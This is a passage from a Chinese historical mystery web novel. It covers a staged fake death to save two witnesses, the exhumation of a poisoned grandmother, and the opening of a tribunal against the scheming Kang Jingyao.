朱弘毅沉吟片刻:“假死需做得天衣无缝。” 周妙雅颔首,眸色沉静:“不但要天衣无缝, 最好让康婧瑶亲眼看见春桃咽气,她才能彻底安心。” 她侧首望向窗外, 声音轻而冷:“只是这死法, 需得细细谋划。” 说罢,她目光微动,可话到嘴边却顿住了。 她想起那日她去北镇抚司查白骨, 事后长安悄悄告诉她,王爷的马车就跟在她后面, 其实就停在北镇抚司衙外的街角,王爷在车里自己跟自己较劲了好久, 最后才决定进北镇抚司去找她。 她悄悄抬眼,打量朱弘毅的神色, 指尖无意识地蜷了蜷,声音也轻了几分:“此事…还需锦衣卫出手相助。” 说罢,她便垂下眼帘, 等着他的反应。 长安那句“他自己跟自己较劲了好久”尚在耳畔回响。 朱弘毅执壶的手微微一顿,抬眸望来,见她这般小心翼翼的模样,眼底掠过一丝无奈。 “怎么,你怕本王不允?”他语气平静,却似含着几分叹息。 周妙雅抬眸,正对上他的目光:“我…我是怕王爷误会。” 朱弘毅闻言,眸底掠过一丝了然,她突然这般小心翼翼,定是长安那臭小子在背后多嘴了。 他面上不动声色,语气淡然笃定:“本王自有分寸,既为正事,何来误会?若连这点都辨不清,本王也不配坐这位子。” 他说罢,心底却已暗暗给长安记了一笔,待会儿要找那小子好好算账。 周妙雅这才放下了方才的小心翼翼,她目光澄澈,坚定地看向朱弘毅:“顾佥事在北镇抚司,麾下能人异士众多,假死所需的药物,尸身调换,文书造册,对他们而言并非难事。” 朱弘毅神色未动:“你确定要将他牵扯进来?” 周妙雅摇头:“不是牵扯,是各取所需,济慈堂案本就是北镇抚司在查,春桃若死,康婧瑶定会放松戒备,这对顾佥事查案同样有利。” 她话音微顿,抬眼轻声补了一句:“只是要说服顾佥事配合这出戏,需得有个合适的由头。” 朱弘毅指节在案上轻叩,眸光微沉,声音笃定:“由头现成就有,济慈堂后山那些白骨,总该有人给个交代,顾凌云正愁找不到突破口。” 他抬眼看向周妙雅:“明日你随本王同去北镇抚司。” 这话让周妙雅微微一怔,她原以为他会独自前去。 朱弘毅仿佛看穿了她的心思,淡淡道:“既然要合作,总要拿出诚意。” 他语气平稳,淡声补了一句:“你去,比本王亲自去更有说服力。” 这话说得含蓄,但两人都明白。 “至于长安” 朱弘毅忽然话锋一转:“让他去马厩刷三天马。” 周妙雅闻言,不禁替长安担忧起来,看来王爷这是要清算多嘴之罪了。 她低声应了声:“是”,又道:“那我现在去将手头所有线索整理成册,方便顾佥事了解案情全貌。” 朱弘毅微微颔首:“去吧。” 周妙雅起身离去前,又忍不住小声求情:“王爷长安他也是” “多刷三天。”朱弘毅头也未抬,将她打断。 周妙雅立即噤声,识趣地退了出去,看来王爷这次是铁了心要整治多嘴的下属了。 ———— 次日清晨,北镇抚司值房。 周妙雅与朱弘毅踏着晨露而来,顾凌云正在伏案批阅卷宗,见二人到来,他闻声搁笔,抬眼含笑道:“王爷与周姑娘一早前来,可有要事?” 周妙雅取出昨夜整理的案册,双手奉上。 顾凌云接过,眉峰微敛,细细翻读起来。 案册上写的案件调理清晰:从济慈堂的女尸,到北狄毒药,再到与文老太太之死的关联,最后引到康靖瑶身上,同时附上了白芷是如何引出春桃这一线索的全过程。 “欲要揭开北狄毒药是如何流入京城的,就必须抓住康靖瑶这条线索。” 周妙雅在顾凌云翻看册子的时候,小心翼翼地补了一句。 顾凌云看完册子上的全部内容,阖上册子,抬眼道:“周女官所虑极是,康氏这条线必须抓住,不过,就春桃此人证周女官可否已有对策?” 周妙雅闻言,心中欣喜:“这也是为何今日我们前来北镇抚司的原因,民女心下里确实有一计,需要顾佥事帮忙。” 顾凌云将案册轻轻放在桌上,目光锐利地看向周妙雅:“愿闻其详。” 周妙雅深吸一口气:“春桃的母亲被软禁在康家别院,若要她心甘情愿作证,必先救出其母,但若直接救人,必定打草惊蛇。” 话语至此,她顿了顿,继续道:“民女想用一出假死计…” 周妙雅将心中所想计谋和盘托出,三人持续商议了近两个时辰,将每个细节都反复做了推敲。 当顾凌云亲自将二人送出北镇抚司时,周妙雅知道,这场局已经布下了。 ———— 三日后,文府宴席。 春桃近日总有些神思恍惚。 那日她奉命给文毓瑾送醒酒汤,隔着屏风听见他与友人笑谈,声音带着三分醉意:“若论体贴,还是春桃那丫头最知冷热。” 就这一句,让她在心里反复咀嚼了许久。 这日一早整理旧物时,她鬼使神差地取出了表姑娘那件月白衫裙,指尖抚过裙角的缠枝莲纹,想起大爷曾赞过表姑娘穿这颜色清雅如莲。 “我这是发什么痴”春桃慌慌张张地想把衣服塞回去,门外却响起小翠的声音。 小翠推门进来,见她拿着那月白衫裙发呆,抿嘴一笑:“姐姐也喜欢这衣裳?我瞧着这颜色衬你。” 春桃像被烫着了一般,忙缩回手:“莫要胡说” 小翠凑近低语:“前儿我听见大爷跟前的小厮说,大爷夸姐姐穿素色最好看呢。” 春桃心口骤跳,耳根微微发热,她想起那日文毓瑾醉眼 朦胧地望着她,喃喃唤了声“雅儿” 虽知是认错人,可那一瞬间的温软,足以令她心悸至今。 小翠把衣衫展开,轻声劝道:“姐姐便试一回嘛,今日府中忙乱,没人会注意的。” 春桃被她说的心动,又拗不过她,便双手捧过衣裙,一件件地穿在了自己身上。 镜中人身姿窈窕,春桃恍惚间竟觉自己与表姑娘真有几分相似,若是大爷 这个念头让她瞬间脸颊发烫,却仍抑不住在心中暗暗自问:若是大爷看见她这身打扮,会不会 小翠轻声撺掇着:“姐姐平日里忙,这会难得偷闲,何不去园子里走走?今日府中忙乱,没人顾得上咱们。” 春桃对镜自照,见镜中人影娉婷,心下也生出几分欢喜,她轻抚鬓角,想到院中那几株腊梅开得正好,便点头应下:“也好,正好去折几支腊梅插瓶。” 小翠眸底掠过一丝笑意,忙捧着梳篦,殷勤地为她梳了一个周妙雅常梳的发髻。 暮色渐浓,园中腊梅暗香浮动。 春桃行至梅园,果然见几株老梅开得正盛,雪蕊琼枝。 她驻足仰头,月白衫裙在暮色中泛起一层柔光。 这时,前院宴席将散,文毓瑾醉眼朦胧,踉跄着往后院走来。 小翠早已候在廊下,低声指引:“大爷,梅园那边腊梅开得极好,暗香袭人呢。” 文毓瑾因醉酒摇晃着,行至梅园,只见暮色中一袭月白身影倚梅而立。那身段,那侧影,宛然梦中 “雅儿”他喉头滚动,蓦地抢步上前,一把扣住那截如凝霜似的手腕。 手腕被箍得生疼,春桃却可耻地心生欢喜:“大爷,奴婢是春桃啊。” 文毓瑾醉笑着去扯她衣襟:“装什么?这衣裳这发髻你分明就是” “住手!” 康婧瑶带着李嬷嬷疾步而来,正撞见文毓瑾将春桃按在梅树上撕扯衣衫,她目光触及那身月白衣裙,眼底瞬间烈焰翻涌。 康婧瑶冷笑:“好个春桃!竟学那狐媚子作态,敢勾引到主子头上!” 文毓瑾瞬间酒醒了大半,恼羞成怒甩袖而去。 春桃瘫软在地,浑身发抖,发间还沾着几瓣零落的腊梅。 康婧瑶盯着那身刺眼的月白衫裙,语气狠辣:“来人!把这贱婢关进柴房!” 夜色深沉,柴房门吱呀一声被推开。 小翠提着食盒进来,眼中含泪:“姐姐,都是妹妹害了你” 她将饭菜摆开,斟了杯茶递到春桃手中:“我初来乍到,实不知那衣裙是表姑娘旧物” 春桃木然接过茶盏,想起自己平白受辱,心灰意冷,一饮而尽。不到半柱香的工夫,她便觉天旋地转,软倒在地。 康婧瑶回到房中,越想越气,烛火映着她阴晴不定的脸。 这府里谁不知道她最恨妾室通房,丫鬟爬床?昔年文毓瑾欲纳周妙雅为妾,她转头便把那贱人发卖,逼得那贱人跳了崖。后来文毓瑾收了白芷做通房,她就把那死丫头锁进地牢,不过几日就逼疯了。 可如今,连春桃这样的小丫鬟也敢在她眼皮子底下耍手段。 她猛地站起身,眸光森冷,对李嬷嬷道:“走,去柴房!” 柴房里,春桃正因药效发作瘫软在地,康婧瑶冷眼看着她:“拖去后院井边。” 更深露重,后院古井旁火把通明,康婧瑶俯视着不省人事的春桃,声音冷若冰霜:“扔下去,让这起子心思活络的贱婢都看看下场。” 只听扑通一声,水花四溅,春桃的月白衫裙转瞬没入幽黑的深井中。 康婧瑶在井边站了片刻,确认井下再无生息,这才拂袖而去。 子时刚过,一道黑影悄无声息地滑入井中。 井底早已布置妥当,双层的渔网巧妙地兜住下沉的躯体,充气囊确保口鼻始终露出水面。 暗卫利落地割断渔网,将昏迷的春桃缚在背上,借着井壁早已钉好的踏脚钉迅速攀援而上。 与此同时,康家别院也正上演着另一场戏。 “春桃我的儿啊”老妇人握着一枚蜡丸,泪如雨下,她颤巍巍地将毒药送入口中,不过片刻便气绝身亡。 守院婆子闻声进来,只见老妇人口吐白沫倒在榻上,慌忙去禀报管家。 管家探其鼻息,发现春桃的母亲早已断气,便用草席草草裹了尸体,扔到乱葬岗去了。 两名锦衣卫趁机将事先准备好的女尸换上老妇人的衣裳,真正的春桃母亲已被秘密送往北镇抚司。 次日清晨,文府后园。 管家战战兢兢地向康婧瑶禀报:“夫人,春桃她娘昨夜听闻女儿死讯,也跟着服毒自尽了。” 康婧瑶正对镜梳妆,闻言冷笑:“倒是省得我动手。” 她不会知道,此刻北镇抚司的暗牢里,春桃母女正缓缓醒来,当春桃看见安然无恙的母亲时,顿时泪如泉涌。 “娘!您没事” 老妇人紧紧握住女儿伤痕累累的手,声音颤抖:“闺女,这血海深仇咱们定要康氏加倍奉还。”—— 作者有话说:明日诚邀您共同见证周妙雅高光时刻! 第49章 北镇抚司暗牢内, 春桃母女相拥而泣的哽咽声渐渐平息。 锦衣卫已按春桃母女的控诉写好证词,她二人也已签字画押。 周妙雅素衣如雪,静静站在牢门外, 看着这对劫后余生的母女, 心中已然有了决断。 她转身, 眸光沉静如水,望向朱弘毅与顾凌云:“人证已得,下一步该如何走,还请王爷与顾大人赐教,事涉首辅千金,朝局盘根错节,我一介女流, 实在看不分明。” 三人回到值房,朱弘毅执起茶壶, 将三只空杯在案上摆开。 他指尖点住最左边的茶杯, 注入深浊的茶汤:“魏琰,附庸者众,是为阉党, 把持司礼监,权势熏天。” 随即, 他移向最右的茶杯,清亮的茶水落下:“江南无锡兴社书院出来的清流官员, 自诩兴社党人,以反对阉党, 匡扶社稷为己任。” 最后,他将壶嘴悬在中间那只空杯之上,却未倾注:“而首辅康敏之, 便在此间,他明面上不偏不倚,既能与阉党虚与委蛇,又能对清流示好,故而,你根本不知他的政敌,究竟是阉党,还是兴社党人。” 周妙雅凝视着那只空杯,只觉寒意漫上心头。 这意味着,无论将证据交予任何一方,都可能被其利用,沦为党争的工具,真相永难昭雪。 她抬眼,目光清亮坚定,旋即轻声开口:“王爷,顾大人,既然此路不通,那我们便不走此路。” 她说罢这话,脑海中已闪现过一个大胆得近乎离经叛道的念头,这个念头其实已萦绕她心头很久。 ——开棺验尸 惊扰亡魂是大不孝 可让真凶逍遥法外,让祖母死得不明不白,难道就是孝了吗? 周妙雅死死握着拳头,掌心月牙深嵌。 朱弘毅和顾凌云都等着她的下文。 她定了定神,深吸一口气,语气坚决道:“我们不去告康婧瑶,我们只求顺天府,为文老太太开棺验尸。” 她心中已然坚定,既然活人的公道求不得,那便让黄土下的白骨开口。 顾凌云眼神蓦地一亮,朱弘毅则沉思片刻:“你以何身份?” 周妙雅声音朗朗,掷地有声:“我以苦主身份,我的名字仍在文氏族谱旁支之上,当日在宁王府的赏花宴,文毓瑾能持族谱胁迫我,今日,我便能以这族谱之名,告他文家一个祖母死因不明,孙女疑其至亲死于非命,求官府开棺明验,此乃人伦孝道,顺天府没有理由拒绝。” 语罢,她看向朱弘毅:“王爷,此乃以其人之道,还治其人之身。” 朱弘毅微微颔首,眸中饱含赏识之色:“此计可行。” 他心底微微闪过一丝波澜,看来她已学会将敌人掷来的利刃,反手化作保护自己的盾牌。 顾凌云沉吟道:“顺天府尹李嵩,是个老油条,他最怕担责,故而不会得罪任何一方,若将律法与人伦同时抬出,他即便是再油滑也无处躲,只能接状。” 周妙雅眉目沉静,成竹在胸:“正是,我们只求验尸,不言其他,届时,若验出文老太太确中逍遥散之毒,顺天府便必须立案调查。由官府名正言顺地去查文府药渣,查济慈堂,一切顺理成章。我们手握春桃母女,届时再抛出证词,便是给官府送上无法忽视的铁证,主动权,尽在我手。” 此计看似是退了一步,只求验尸,实则是以退为进,将 孝道与律法两面大旗牢牢握在手中,逼得官府不得不为此案开路。 顾凌云似乎想到了什么,只见他眉峰微敛:“开棺毕竟有损阴德,恐遭文家阻挠,外界非议。” 周妙雅闻言,沉默片刻,再抬眸时,眼神决绝:“顾大人,祖母冤沉,死后尚且不得安宁。我若因畏惧人言而退缩,方为真正的不孝,此开棺验尸之事,一切罪孽与骂名,由我周妙雅一力承担。” 朱弘毅望着她,心头巨震。 她柔弱的外表之下,掩不住的是铮铮铁骨。 她已无需他事事铺路。 她自己已能在荆棘中,踏出一条血路。 ———— 三日后。 “咚——咚——咚——” 清晨的顺天府衙前,登闻鼓声震落了檐上的积雪。 周妙雅一身素衣,立在肃杀的寒风中,手中鼓槌一次次落下,每一声都像是敲在心头,震得指尖发麻。 府门大开,衙役鱼贯而出。 “何人击鼓?” 周妙雅放下鼓槌,跪在冰冷的石阶上:“民女周妙雅,为祖母文老太君申冤!” 堂上,明镜高悬的匾额下,府尹李嵩揉了揉眉心。 他看着堂下跪着的素衣女子,只觉得比面对任何重案都要头疼。 文家,百年文脉,家主为当朝首辅贵婿,其弟又尚代王独女,这种案子,他自然是不想沾的。 只见他放下状纸,厉声道:“周氏,开棺验尸非同小可,若无确凿证据,本官难以准奏。” 周妙雅重重叩首,额头贴在冰冷的地面:“求大人宣文家家主文毓瑾上堂,民女愿与他当堂对质!” 李嵩沉吟半晌,终是摆了摆手:“传文状元来。” 一炷香后,文毓瑾踏雪而来。 他披着墨色大氅,肩头还落着未化的雪粒,待看清跪在堂下的周妙雅时,脚步猛地一顿。 她怎么会在这里? 击鼓鸣冤开棺验尸? 她一个孤女,竟敢击鼓鸣冤,要开他祖母的棺? 无数念头在文毓瑾脑中飞转。 他仔细审视着周妙雅,素衣下绝色女子脊背挺得笔直,眉眼低垂却无丝毫怯懦。 她神色平静,竟连一丝破绽都让他遍寻不到。 这段时间她销声匿迹,他原以为她终于认命,没想到竟是在暗中谋划这般惊世骇俗之举。 文毓瑾强压下心头惊疑,率先开口:“大人明鉴,祖母已入土为安,周氏此举实属扰亡者清静,她早已被逐出文家,有何资格过问文家事?” 周妙雅抬头,晨光透过府衙大门照在她苍白的脸上,她泪眼涟涟,故作柔弱之态:“兄长怎能如此薄情,宁王府赏花宴那日,兄长拿着族谱逼我认亲时,可不是这么说的。兄长将民女困在假山之后,跟民女说,名字一日在族谱上,便一日是文家人,今日我为祖母申冤,怎么就不是文家人了?” 李嵩看着堂下哭得梨花带雨的周妙雅,心头不由一颤,这般绝色姿容,此刻却凄楚无助地跪在冰冷的石板上,任谁见了都不免心生怜惜。 但他很快便收敛心神,清了清嗓子,故作严肃道:“公堂之上,休要作此小女儿情态,文毓瑾,她所言可属实?” 文毓瑾脸色铁青:“大人明鉴,那日不过是” “不过是什么?”周妙雅哽咽着抢白,抬眼时长睫上还挂着晶莹的泪珠:“莫非兄长要说,那日是在与我说笑不成?还是想说,那**我认亲是假,实则是想逼我为妾” 李嵩闻言,心头顿时雪亮,原来这对名义上的兄妹之间,竟暗藏苟且,伦常颠倒,难怪这女子要拼着名声不要,也要击鼓鸣冤。 他看向文毓瑾的眼神不由带上了几分审视。 文毓瑾被周妙雅这番话说得脸色一阵青一阵白,厉声道:“你休要胡言乱语!” 周妙雅抬起泪眼,凄然一笑:“我是不是胡言,兄长心里最清楚,那日若不是宁王殿下恰巧经过” 她适时收住话头,却比说完更让人浮想联翩,见文毓瑾还要争辩,她又轻轻补上了一刀:“大人若是不信,自可请宁王殿下当堂作证。” “你!”文毓瑾气得牙痒痒,额角青筋暴起,那日在宁王府的狼狈场面犹在眼前,此刻被周妙雅当堂提及,简直是在撕他的脸面。 李嵩看着文毓瑾骤变的脸色,心中已然信了七八分,他不动声色地捋了捋胡须,正欲开口,忽闻堂外传来低沉嗓音: “不必请,本王来了。” 朱弘毅不知何时已立于堂外,一身大红色的亲王常服,面色冷峻,阳光照在他肩头的织金蟒纹上,折射出刺目的光芒。 李嵩慌忙起身,率众跪迎,大礼参拜:“臣李嵩叩见宁王殿下,恭惟殿下千岁千岁千千岁。” “免礼。”朱弘毅缓步走入公堂,目光在周妙雅身上停留了一瞬,随即转向李嵩:“那日赏花宴,本王确实在假山后遇见文状元与周姑娘,文状元当时情绪颇为激动。” 这话说得含蓄,却让文毓瑾的脸色瞬间惨白,攥紧的拳头微微发抖。 文毓瑾仍不死心,他转向周妙雅,声音骤冷:“当日是念在亲情,今日你分明是蓄意报复。” “报复?”周妙雅冷笑:“我为何要报复?是因为兄长新婚之夜抛下新娘,闯入祖母房中外间对我欲行不轨,还是因为嫂嫂妒火中烧,将我发卖青楼?这些私怨,与祖母何干?我今日只为求一个真相。” 堂上一片哗然。 文毓瑾脸色铁青:“你…你休要血口喷人!” “是不是血口喷人,兄长心里最清楚。” 周妙雅转向堂上,再次叩首:“大人,民女只求开棺验尸,若验不出问题,民女愿以死谢罪!” 她这话一出,着实让文毓瑾心头巨震,他难以置信地盯着周妙雅,她竟敢立下这等生死状。 李嵩看着文毓瑾骤变的脸色,又瞥了眼堂上面无表情的宁王,心中飞快权衡。 这案子分明是个烫手山芋,文家势大,可宁王更是得罪不起。 当今圣上唯一的亲弟弟,是陪伴陛下自小一起长大,陛下最亲近的人,连权势滔天的魏公公也要权衡三分。 周氏以孝道之名叩阙,占尽情理,自己若强行驳回,只怕明日言官的折子就要堆满陛下的书案。 罢了,既然拦不住,不如顺水推舟,开棺验尸是周氏以性命担保所求,日后文家若要追究,也怪不到他顺天府头上。 李嵩轻咳一声,已然有了决断。 他重重一拍惊堂木:“文毓瑾,你既承认那日确实提及族谱之事,那周氏以文家人身份申冤,倒也合乎情理,至于其他” 他意味深长地顿了顿:“本官姑且不论。” 说罢,他执起令签往堂下一掷:“既然有宁王殿下作证,此事便不必再议,本官准周氏所奏,三日后开棺验尸,文府须全力配合,不得有误!” 那枚朱漆令签啪地一声落在石板上,滚到文毓瑾脚边,他死死盯着那枚令签,牙关紧咬,却不敢再出一言。 周妙雅深深叩首:“民女谢大人明察。” 她起身时,与文毓瑾擦肩而过,用只有两人能听见的声音道:“大哥哥,三日后,我们祖母坟前见…”—— 作者有话说:兴社,其实就是东林和复社的结合体,这里面我用了一个文字游戏,把历史上的东林和复社合二为一,取了一个复字对应的兴字 就跟我把本文设定成大晟朝一样,晟拆字是日和成,对应明拆字是日和月 魏琰大家都不用猜历史上是谁了吧,几乎都明码了 康敏之的话目前没有历史原型,是原创人物 第50章 顺天府衙门内, 李嵩的朱漆令签刚刚落地,混在围观人群中的顾凌云指尖在刀柄上轻叩了三下。 几个樵夫打扮的壮汉同时低头,斗笠压檐, 悄无声息地汇入退散人潮中, 转瞬不见。 不到一炷香的时间, 四队便装缇骑已分头驰出城门,马蹄裹了厚布,踏在官 道上只发出沉闷的响动。 西郊墓园,顾凌云倚在一棵老槐后,目光始终锁在坟茔的石碑上。 他解下酒囊抿了一口,烈酒入喉,驱散了寒意。 夜色渐深, 北风刮过枯枝,发出鬼泣般的呜咽。 坟地四周静得可怕, 连野狗的吠声都被黑暗吞没。 二更梆子从远处传来。 山道上终于出现了动静, 三道黑影贴着山壁而行,脚步轻若棉絮。 为首的是个矮壮汉子,腰间别着短铲, 在坟前停下后警惕地环顾着四周。 “快动手。”他压低声音催促。 另外两人立即上前,从背篓里取出特制的铁钎, 就在铁钎即将插入坟土的刹那,四周突然亮如白昼。 二十余支火把同时燃起, 炽光如昼,将整片墓地照得无所遁形。 “拿下。” 顾凌云自树后转出, 玄色大氅在火光中泛着冷凛的光。 他缓步走到被按住的三人面前,目光落在他们脚边的背篓上。 那三人扑通跪地,磕头如捣蒜:“大人饶命!大人饶命啊!小的们只是奉命行事” 顾凌云不为所动, 目光冷冷扫过三人,突然,他猛地上前,一把扣住那矮壮汉子的下颌。 “唔!”矮壮汉子瞪大双眼,喉间发出呜咽,拼命挣扎着想要闭紧牙关。 就在这一刹那,旁边同伙两人身子猛地抽搐起来,黑血自七窍涌出,随即软倒在地,气息全无。 顾凌云手指发力,指甲几乎掐进对方皮肉,另一只手迅速探入汉子口中,硬生生从齿缝间抠出一粒尚带唾液的蜡丸。 他随手将蜡丸掷在地上,用靴底轻轻一碾,咔一声脆响,蜡壳碎裂,露出里面暗紫色的药粉。 他冷哼了一句:“康夫人倒是惯会用毒。” 看着瘫软在地、不住颤抖的矮壮汉子,他命令手下小旗:“带下去审问。” 两名缇骑立即倒拖着那汉子的脚,将其拽入枯林深处。 林中很快传来皮鞭破空的声音,夹杂着压抑的惨叫。 不过半柱香的工夫,负责审讯的小旗快步走出,将一份墨迹未干的供词呈到顾凌云面前。 “大人,全招了。” 小旗压低声线:“康夫人命他们今夜务必盗走文老太太的骸骨,以无名尸骨替换,若事败,立即服毒自尽。” 顾凌云就着火光细看供词,上面详细记录了康婧瑶如何吩咐心腹嬷嬷安排此事,如何给死士许以重金,又如何备下毒药。 他折好供词收入怀中,唤来一名亲信小旗:“速去宁王府报信。” 他压低声音,又叮嘱再三:“务必亲自见到长安,将今夜之事原原本本告知,记住,只能传话给长安一人,一字不可外泄。” 小旗会意,抱拳领命,他解下腰牌收进怀里,又特意将曳撒下摆掖好,这才翻身上马。 马蹄声在寂静的夜风中渐行渐远,转瞬没入深沉的夜色中。 ———— 文府书房内,烛火摇曳。 文毓瑾坐在太师椅上,听着心腹压低声音的急报,脸色骤变。 “锦衣卫当场拿住三人,国舅爷顾佥事亲自坐镇。” 他猛地起身,袖风扫翻茶盏,滚烫的茶水泼了一桌。 “蠢妇!”这两个字几乎是从牙缝里挤出来的。 康婧瑶这个蠢妇,竟敢瞒着他擅自行动,如今人赃并获落在北镇抚司手里,那诏狱的刑具,便是铁打的汉子也熬不过三遭,何况是那几个江湖混子 不过更令他没想到的是周妙雅,那个昔日寄他篱下,怯怯唤他兄长,柔柔弱弱任他随意欺凌的孤女。 他现在终于信了话本子里的狐狸精,她靠美色勾引宁王和顾国舅,如今竟要将他文氏一门逼入绝境。 康靖瑶成事不足,败事有余,未与他商议,便擅自行动,而今酿下大祸,他文毓瑾就算有通天的本领,也保不下她了。 但他文毓瑾从来不是轻易认输之人。 他立即唤来小厮更衣,玄色直身外罩墨狐大氅,玉带扣得一丝不苟。 康府的门房听到叩门声时,四更的梆子刚刚响过。 文毓瑾立于阶前,细雪覆肩,声音压得极低:“烦请通传,小婿有要事,需即刻求见岳父大人。” 庭院深处的书房很快亮起灯火。 康敏之披着石青色素面直裰,发髻微松,显是寒夜被唤起。 灯火下,他望见文毓瑾这身郑重其事的打扮,眸色更深了几分。 文毓瑾俯身长揖:“岳父大人。” 书房里炭火噼啪,康敏之倚在榻上,半阖着眼:“怎如此沉不住气。” 他声音里带着将醒未醒的慵懒,指尖无意识地摩挲着茶盏边缘。 文毓瑾维持着躬身姿势,将今夜之事细细道来,当说到顾凌云亲率锦衣卫拿人时,他嗓音陡沉,特意加重了语气:“那位是当今皇后的亲弟弟,堂堂国舅,小婿实难再周旋。” 康敏之轻笑一声,慢悠悠地坐直了身子:“国舅?” 他端起茶盏抿了口温茶,语气轻慢:“皇后若真有本事,何至于让魏琰压得喘不过气?至于她那个弟弟,再光鲜也只是个毛头小子,不足为惧。” 他放下茶盏,目光渐冷:“既然保不住,那便弃了。” 文毓瑾猛地抬头,眸色惊疑:“岳父的意思是?” 康敏之起身,负手踱至窗前,语气森寒:“他们不是要验尸么?让他们验,若真验出什么,就把婧瑶推出去,一个出嫁女,难道还要拖着娘家共沉沦不成?” 窗外雪光映在他脸上:“上头早有安排,你只管配合便是。” ———— 三日期限已到,西郊墓园,朔风挟残雪横飞。 新掘开的坟土堆在一旁,露出底下漆黑的棺木。 周妙雅一身素白,立于坟前,眉眼静若冰封。 顺天府的仵作老郑带着徒弟,焚了纸钱,绕着棺木洒了一圈烧酒,口中喃喃超度。 李嵩拢着袖子,在旁提醒:“周姑娘,开棺惊扰亡魂,现在反悔,还来得及。” 周妙雅没有回头,只盯着那棺木:“开。” 老郑看了李嵩一眼,得到默许后,朝手心啐了两口吐沫,和徒弟一起将撬棍塞进棺盖缝隙。 “嘎吱——” 木钉挣裂的声响在寂静的墓园里拖得极长,格外刺耳。 棺盖被缓缓撬开,一股混合着泥土和腐朽的气息弥漫开来。 周妙雅上前一步。 棺椁内,文老太太的遗骸静静地躺着,锦缎寿衣已褪色,面容早已腐朽,只余白骨。 老郑戴上麂皮手套,小心翼翼探身进去,他先大致检视了头骨,胸骨,又轻轻抬起臂骨。 “如何?”李嵩忍不住问。 老郑眉头紧锁,摇了摇头:“回大人,单从骸骨上看,并无明显外伤或中毒迹象。” 站在不远处的文毓瑾听闻此言,绷紧的肩膀悄然松了下来。 周妙雅上前一步:“郑师傅,劳请仔细查看骨缝,尤其是关节连接处,可有异常?” 老郑依言,凑得更近些,几乎将脸贴在骸骨上方,他在骨骼缝隙间仔细逡巡,忽然动作一顿… “这…”他声音带着惊疑,小心地用银镊子探入一处骨缝,轻轻刮出几粒几乎不可见的白晶,那些颗粒细若尘埃,非得火光恰好掠过,才反射出一点 微弱的晶泽。 老郑手未停,继续用银镊子在骨缝处刮下细小的白晶,将其收集到光滑的瓷碟中,递给李嵩:“大人,请看。” 李嵩细细查过那些白晶,疑惑道:“此物是…?” 周妙雅眸色沉静,上前一步开口,却是先索一物:“请取一壶最烈的烧酒来。” 老郑的徒弟连忙从验尸箱中取出一个扁壶递上,周妙雅拔开塞子,回忆着王老太医的手法,将壶中清冽的酒液缓缓倾倒在瓷碟中的白晶之上。 一滴,两滴… 酒液触及白晶的刹那,碟中竟真的升起一缕极淡的雾气,那雾气带着若有若无的淡蓝色,几乎要融入冬日的天光里,转瞬便消散在空气中。 “且慢。” 周妙雅将酒壶递回,旋即从袖中取出一本泛黄的医书,翻开做了记号的那一页,朗声念道:“北狄逍遥散,据载无色无味,入水即融,少量令人神智昏聩,产生幻觉,中量可致人长睡不醒,若剂量足够,半个时辰内便能悄无声息取人性命。” 她顿了顿,目光扫过面色各异的众人,继续念道:“最可怕的是,事后查验,无论是银针探毒,还是查验药渣,都寻不到丝毫痕迹。” 书页翻动,她的声音更沉:“此药虽在药渣中不留痕迹,其性却极阴寒,药力溶解后,极微小的颗粒会随着时日推移,慢慢附着于盛放它的器皿底部,状若细微白晶,非十日不能凝集,且需在特定光线下方能察觉。” 她合上医书,目光落回棺内白骨:“器皿如此,人骨…亦是如此,这些白晶附着于骨缝深处,若非开棺,根本无从察觉。” 老郑扑通一声跪倒在地,朝着李嵩叩首:“大人明鉴,这…这确与古籍记载一般无二,文老太君她…是被人用这北狄奇毒害死的啊。” 李嵩脸色铁青,深吸一口气,当即喝道:“来人,将棺中骸骨仔细收殓,所有证物——骨骸,瓷碟,酒壶,一并封存,记录在案。” 说罢,他转向文书:“即刻立案,文府老夫人死因存疑,涉北狄秘药,本官要亲自督办此案。”《 》 50-60 第51章 青州府, 卯时三刻。 地下赌坊的后巷还弥漫着昨夜留下的酒馊味,孙老五耷拉着脑袋踉跄地走出来,将空瘪的钱袋重重摔在地上。 他在这赌坊里泡了三天三夜, 把最后一件棉袄都典当了, 此刻饥肠辘辘, 却连买个炊饼的铜板都摸不出来。 “晦气。”他朝巷口啐了一口,盘算着去哪弄点吃的。 刚转过巷角,突然从阴影里窜出两条人影。 他还来不及呼救,一只粗糙的手就死死捂住了他的口鼻,另一条胳膊铁箍般勒住他的脖颈。 刺鼻的异味直冲脑门,他双腿乱蹬,不过两三息就软倒下去。 两个穿着粗布短打的汉子利索地将他塞进麻袋, 其中一人警惕地环顾四周,另一人已经架来了驴车, 麻袋被扔上车板, 发出咚一声闷响。 “走。”为首的汉子低声喝令,顺手往孙老五嘴里塞了一块破布。 驴车不紧不慢地轧过石板路,拐进清晨的雾气里。 车辙在露水未干的路上留下两道浅痕, 很快便被早市熙攘的脚步踏得无影无踪。 ———— 开棺验尸后的第七日,顺天府衙的文书送到了刑部。 李嵩亲自带着卷宗求见刑部尚书, 在值房里谈了整整一个时辰,出来时, 他袖口沾了些墨迹,额角却轻松了许多。 他对着迎上来的主事吩咐:“此案牵涉命妇与朝廷大员亲族, 按律移已交由刑部审理。” 当日下午,北镇抚司的缇骑便押着几口木箱来到刑部。 顾凌云亲手将箱中证物一一取出,按序陈列: 春桃母女画押的供词, 交由书记官当场唱名编号。 盗墓人的手印罪状,由衙役捧至三位主审面前验看指模。 老郑的验尸格目,其中记载提取白骨缝隙中白晶的一页被特意折起。 顾凌云将济慈堂案的卷宗覆于最上,声音清冷:“人证物证俱在,两案尸骨皆验出同源北狄逍遥散,证物链已闭合,请部堂收纳。” 刑部侍郎仔细核对每份文书,在交接簿上用了印。 狱吏接过移交文书,对着身后挥了挥手。 康婧瑶被带出候审室时,目光扫过堂前那堆证物,脚步倏然顿了下。 沉重的牢门落下时,她听见狱吏在门外清点:“康氏一案人犯收监。” 刑部大堂,三司会审。 晨辉透窗而入,碎金般洒落在地面上,映得堂中肃杀威严。 左都御史捧着茶盏,大理寺卿翻看卷宗,刑部尚书执笔端坐,堂下两侧立着持杖衙役,青袍书记官已备好笔墨。 堂威无声,却压得人呼吸皆重。 文毓瑾缓步上前,一身素白直裰纤尘不染,他朝堂上躬身行礼,衣袂纹丝不动。 “学生文毓瑾,叩见三位大人。” 刑部尚书搁下朱笔,声稳如钟:“文状元,今日三司会审,望你据实陈词,不得有半字虚言。” 文毓瑾应声起身,目光扫过旁听席。 康敏之坐在角落的太师椅上,半阖的眼皮微微一抬,目光与文毓瑾短暂相接,旋即错开。 